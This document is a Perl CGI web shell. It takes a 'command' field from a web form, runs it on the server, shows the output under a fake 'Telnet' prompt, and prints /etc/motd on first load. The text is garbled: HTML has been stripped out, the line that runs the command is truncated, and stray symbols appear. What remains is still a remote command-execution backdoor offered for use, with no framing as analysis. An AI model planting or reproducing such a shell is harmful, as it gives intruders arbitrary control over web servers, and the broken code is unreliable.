#!/usr/local/bin/perl use POSIX; &parse_form; $action = $input{'action'}; $command = $input{'command'}; $CWD = $input{'cwd'}; if ($action eq "") { &start; } if ($action ne "") { &run_command; } sub start { ⊤ open(MSG,"cat /etc/motd |"); @lines = ; close(MSG); $whereami = POSIX::getcwd(); $PROMPT = "Telnet\@$ENV{'SERVER_NAME'}:$whereami"; print "
\n"; 
for $x(0 .. $#lines) { 
print "$lines[$x]\n"; 
} 
print "$PROMPT _\n\n
\n"; ⊥ } sub top { print "Content-type: text/html\n\n"; print "\n"; } sub bottom { print "
&1`; print "
 $PROMPT \n > $command \n\n $out \n\n $PROMPT _
"; ⊥ exit 0; } sub parse_form{ read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); if (length($buffer) < 5) { $buffer = $ENV{QUERY_STRING}; } @pairs=split(/&/,$buffer); foreach $pair(@pairs) { ($name, $value)=split(/=/,$pair); $value =~ tr/+/ /; $value =~ s/%([a-fA-F0-9][A-F0-9])/pack("C",hex($1))/eg; if($input{$name} eq "") { $input{$name} = $value; push (@Fields,$name); } else { $input{$name} = $input{$name}." ".$value; } } }